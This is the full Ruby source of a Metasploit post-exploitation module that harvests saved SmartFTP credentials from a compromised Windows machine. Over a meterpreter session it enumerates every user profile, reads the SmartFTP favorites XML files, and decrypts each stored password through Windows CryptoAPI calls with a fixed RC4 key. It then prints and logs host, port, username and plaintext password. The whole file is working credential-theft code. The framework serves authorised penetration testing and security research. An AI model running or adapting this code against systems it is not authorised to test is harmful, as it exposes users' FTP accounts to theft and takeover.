|
##
# $Id:$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'rexml/document'
class Metasploit3 < Msf::Post
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather SmartFTP Saved Password Extraction',
'Description' => %q{ This module finds saved login credentials
for the SmartFTP FTP client for windows.
It finds the saved passwords and decrypts
them.},
'License' => MSF_LICENSE,
'Author' => [ 'TheLightCosine <thelightcosine@gmail.com>'],
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
def run
os = session.sys.config.sysinfo['OS']
drive = session.fs.file.expand_path("%SystemDrive%")
@xmlfiles=[]
if os =~ /Windows 7|Vista|2008/
@favpath = 'AppData\\Roaming\\\\SmartFTP\\Client 2.0\\Favorites'
@users = drive + '\\Users'
else
@favpath = 'Application Data\\SmartFTP\\Client 2.0\\Favorites'
@users = drive + '\\Documents and Settings'
end
get_users
@userpaths.each do |path|
enum_subdirs(path)
end
@xmlfiles.each do |file|
get_xml(file)
end
end
def enum_subdirs(path)
begin
session.fs.dir.foreach(path) do |sub|
next if sub =~ /^(\.|\.\.|Predefined Favorites)$/
xmlpath= "#{path}\\#{sub}"
if sub=~/\.xml$/
#print_status(xmlpath)
@xmlfiles<< xmlpath
else
enum_subdirs(xmlpath)
end
end
rescue
end
end
def get_users
@userpaths=[]
session.fs.dir.foreach(@users) do |path|
next if path =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
@userpaths << "#{@users}\\#{path}\\#{@favpath}"
end
end
def decrypt(password)
cipher =[password].pack("H*")
ms_enhanced_prov="Microsoft Enhanced Cryptographic Provider v1.0"
prov_rsa_full=1
crypt_verify_context= 0xF0000000
alg_md5 = 32771
alg_rc4 = 26625
acquirecontext= client.railgun.advapi32.CryptAcquireContextW(4,nil,ms_enhanced_prov,prov_rsa_full,crypt_verify_context)
createhash = client.railgun.advapi32.CryptCreateHash(acquirecontext['phProv'],alg_md5,0,0,4)
hashdata = client.railgun.advapi32.CryptHashData(createhash['phHash'],"SmartFTP",16,0)
derivekey = client.railgun.advapi32.CryptDeriveKey(acquirecontext['phProv'],alg_rc4,createhash['phHash'], 0x00800000, 4)
decrypt = client.railgun.advapi32.CryptDecrypt(derivekey['phKey'],0,true,0,cipher,cipher.length)
destroyhash= client.railgun.advapi32.CryptDestroyHash(createhash['phHash'])
destroykey = client.railgun.advapi32.CryptDestroyKey(derivekey['phKey'])
releasecontext = client.railgun.advapi32.CryptReleaseContext(acquirecontext['phProv'],0)
data= decrypt['pbData']
return data
end
def get_xml(path)
condata=""
begin
xmlexists = client.fs.file.stat(path)
connections = client.fs.file.new(path,'r')
until connections.eof
condata << connections.read
end
parse_xml(condata)
print_status("Finished processing #{path}")
rescue
print_status("The file #{path} either could not be read or does not exist")
end
end
def parse_xml(data)
mxml= REXML::Document.new(data).root
mxml.elements.to_a("//FavoriteItem").each do |node|
host = node.elements['Host'].text
port = node.elements['Port'].text
user = node.elements['User'].text
epassword= node.elements['Password'].text
next if epassword == nil or epassword== ""
pass=decrypt(epassword)
print_good("HOST: #{host} PORT: #{port} USER: #{user} PASS: #{pass}")
report_auth_info(
:host => host,
:port => port,
:user => user,
:pass => pass
)
end
end
end
|